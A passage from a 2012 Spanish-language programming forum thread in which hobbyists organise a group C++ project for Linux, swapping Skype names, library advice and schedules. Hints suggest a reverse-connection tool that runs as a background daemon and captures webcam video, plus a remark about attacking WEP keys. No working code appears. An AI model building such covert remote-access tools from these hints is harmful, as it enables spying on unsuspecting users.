Nota: por si alguien se ha puesto a hacer pruebas para cargar librerias dinamicas con dlfcn.h, para linkar con esta libreria hay que usar la opcion del gcc '-ldl'.

EDITO: Otra nota: de conexion inversa verdad?


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 27 Septiembre 2012, 22:43 pm
Mi Skype es: dickgumshoe_ltm

Sigo probando Linux Mint. Me está encantando, y me estoy acostumbrando muy rápido. Ahora voy a empezar a hacer alguna cosa sencilla para compilar con gcc desde el terminal, que siempre en Windows lo he hecho con un IDE.


Título: Re: Proyecto C/C++
Publicado por: Stakewinner00 en 27 Septiembre 2012, 22:45 pm
yo os voy añadiendo que siempre va bien

mi skypeusername es davidroman9

si al final los nicks no sirven si no los usas para todo XDXD


Título: Re: Proyecto C/C++
Publicado por: bemone en 28 Septiembre 2012, 00:56 am
Yo voto por c++, es lo ideal para un proyecto entre varias personas.
Yo tengo ubuntu en una maquina virtual, no tengo idea de como compilar con librerias externas pero no es mas que un comando supongo.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 28 Septiembre 2012, 13:28 pm
Yo estoy empezando a hacer una clase que gestione los plugins, esta tarde pasare codigo por skype.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 28 Septiembre 2012, 14:53 pm
Yo estoy empezando a hacer una clase que gestione los plugins, esta tarde pasare codigo por skype.

¿Entonces usaremos C++ al final?


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 28 Septiembre 2012, 15:49 pm
¿Entonces usaremos C++ al final?

Yo he empezado a hacerlo en C++, ya que la votacion se esta decantando claramente a favor de C++. El codigo se puede pasar rapidamente a C, pero es que esta mañana estaba resfriado y no he ido al insti, y como veia que habia mas votos de C++ he empezado a hacerlo en C++.

Saludos.

PD: La clase esta al 75% completa. Dentro de un rato os la envio por Skype.

EDITO: Ya le he pasado la clase a los que me han agregado a Skype.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 28 Septiembre 2012, 18:51 pm
Yo he empezado a hacerlo en C++, ya que la votacion se esta decantando claramente a favor de C++. El codigo se puede pasar rapidamente a C, pero es que esta mañana estaba resfriado y no he ido al insti, y como veia que habia mas votos de C++ he empezado a hacerlo en C++.

Saludos.

PD: La clase esta al 75% completa. Dentro de un rato os la envio por Skype.

EDITO: Ya le he pasado la clase a los que me han agregado a Skype.

Yo no te he visto en Skype... No sé si me va mal el programa... A ver si coincidimos después.

Por cierto, independientemente de si lo hacemos con C o C++ (que en el último caso tendría que mirar la POO), ¿qué librerías me recomiendas ir mirando? ¿Necesitan ser descargadas, o vienen con Linux?


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 28 Septiembre 2012, 20:30 pm
Yo no te he visto en Skype... No sé si me va mal el programa... A ver si coincidimos después.

Por cierto, independientemente de si lo hacemos con C o C++ (que en el último caso tendría que mirar la POO), ¿qué librerías me recomiendas ir mirando? ¿Necesitan ser descargadas, o vienen con Linux?

sys/socket.h de momento, para los sockets. Vienen con Linux. Al final esta tarde no he podido estar en skype, pero os he pasado la clase.


Título: Re: Proyecto C/C++
Publicado por: Fire544 en 28 Septiembre 2012, 20:41 pm
Si todo sera en C++ y especificamente para Linux, entonces se tratara de usar el estandar, nada de libs externas !!!. A si seria mejor, porque solamente es cuestion de adaptarse al concepto de POO.

Reitero, las libs utilizadas seran del estandar C++, y POSIX !!! Nomas para poder tener buena portabilidad de codeo, aclaro (Codigo) no ejecucion !!!


Título: Re: Proyecto C/C++
Publicado por: Caster en 28 Septiembre 2012, 23:15 pm
Yo este sabado o este domingo ya tendré instalado ubuntu 12.04, pero si decidis hacerlo en C++ al final, yo ya no puedo ayudar en nada, porque no se nada de C++.

Saludos


Título: Re: Proyecto C/C++
Publicado por: bemone en 29 Septiembre 2012, 00:25 am
Alguien tiene alguna referencia a la api de linux completa y en español?


Título: Re: Proyecto C/C++
Publicado por: JuanCPLUS en 29 Septiembre 2012, 02:49 am
Yo entro, cualquier cosa aquí estoy.

Por cierto, no se ustedes pero sería bueno tener un blog y un foro para estos proyectos ya que además de ser más cómodo resulta más interesante para los seguidores.

Saludos!


Título: Re: Proyecto C/C++
Publicado por: BlackZeroX en 29 Septiembre 2012, 05:07 am
.
Yo estuve buscando bastante sobre la API del Kernel de Linux (Que es la que me interesa) y no encuentro casi nada... naa mentira:

http://kernelbook.sourceforge.net/

y sobre la Wep-Key me parece que lo mas importantes es saber como atacar... lo mejor es usar su vulnerabilidad.

http://www.cs.sjsu.edu/~stamp/CS265/projects/Spr05/papers/WEP.pdf

Por cierto podrían usar la biblioteca BOOST, me parece que hay clases para la administración de hilos y cosas ya incluidas...

Dulces Lunas!¡.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 29 Septiembre 2012, 13:22 pm
Alguien tiene alguna referencia a la api de linux completa y en español?

En español no, pero puedes buscar "The Linux Programming Interface", esta disponible en el foro para descarga, gracias a farresito.


Título: Re: Proyecto C/C++
Publicado por: DickGumshoe en 29 Septiembre 2012, 14:45 pm
Voy a ir viendo librerías de sockets y los archivos que me ha pasado 0xDani por Skype, pero lo más seguro es que no pueda ayudar en casi nada, porque no sé C++.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 29 Septiembre 2012, 15:21 pm
Dejo aqui unos enlaces interesantes:

 Para sockets:
  http://shoe.bocks.com/net/
 Para convertir el proceso en daemon(que corra en background):
  http://www.danielhall.me/2010/01/writing-a-daemon-in-c/
  http://www.netzmafia.de/skripten/unix/linux-daemon-howto.html
 Para la webcam:
  http://kernelbook.sourceforge.net/videobook.html/


Título: Re: Proyecto C/C++
Publicado por: Fire544 en 1 Octubre 2012, 20:36 pm
Hola Buenas a todos !!. Debido a que algunos users que participaran en el proyecto, no estan siempre online por medio Skype, entonces surge la idea de hacer tiempo coordinado, o sea algunos no pueden estar online por el cambio de horarios en distintos continentes, o porque no saben cuando conectaran los otros users, o por causa del sueño.

Que suguiero: bueno que los que estudian o trabaja, decir en que momento pueden o no estar online. De acuerdo a sus horas libres que si puedan estar online, entonces tendremos un horario para quedar todos contentos e informados (Todos estaremos online al mismo tiempo), pero sabiendo en que tiempo y cuando estaran desocupados !!!

Como plantear: Bueno si vives en continente Europeo y fulano en continente latino, ps son 6 horas de diferencias, de a cuerdo a si trabajan o no, entonces se sabra que tiempos se tendrian que tomar en cuenta para estar online todos !!

Suerte !!!  ;-)


Título: Re: Proyecto C/C++
Publicado por: overxfl0w13 en 1 Octubre 2012, 20:43 pm
Yo no tengo tiempo de conectarme al skype por culpa del tiempo que me roba la universidad, cuando necesitéis la implementación de la GUI me avisáis.


Título: Re: Proyecto C/C++
Publicado por: 0xDani en 2 Octubre 2012, 16:27 pm
Hola Buenas a todos !!. Debido a que algunos users que participaran en el proyecto, no estan siempre online por medio Skype, entonces surge la idea de hacer tiempo coordinado, o sea algunos no pueden estar online por el cambio de horarios en distintos continentes, o porque no saben cuando conectaran los otros users, o por causa del sueño.

Que suguiero: bueno que los que estudian o trabaja, decir en que momento pueden o no estar online. De acuerdo a sus horas libres que si puedan estar online, entonces tendremos un horario para quedar todos contentos e informados (Todos estaremos online al mismo tiempo), pero sabiendo en que tiempo y cuando estaran desocupados !!!

Como plantear: Bueno si vives en continente Europeo y fulano en continente latino, ps son 6 horas de diferencias, de a cuerdo a si trabajan o no, entonces se sabra que tiempos se tendrian que tomar en cuenta para estar online todos !!

Suerte !!!  ;-)

Yo intentare estar todas las tardes, menos cuando estoy haciendo los deberes o tengo que hacer algo, pero de 4 a 8:30 intentare estar el mayor tiempo posible.

Yo no tengo tiempo de conectarme al skype por culpa del tiempo que me roba la universidad, cuando necesitéis la implementación de la GUI me avisáis.

Ok, todavia andamos con el servidor.


Título: Re: Proyecto C/C++
Publicado por: Stakewinner00 en 2 Octubre 2012, 17:27 pm
yo esstare siempre k pueda normalemnte  de 9pm a 23 hora española


Título: Re: Proyecto C/C++
Publicado por: Eternal Idol en 2 Octubre 2012, 19:34 pm
Vayan consiguiendo un sitio propio para el proyecto, ya se esta convirtiendo en un chat.


Título: Re: Proyecto C/C++
Publicado por: ankora45 en 5 Octubre 2012, 16:09 pm
Yo si os sirvo de ayuda decidme siempre toy conected xD o casisiempre pero se lo basico de c++
xD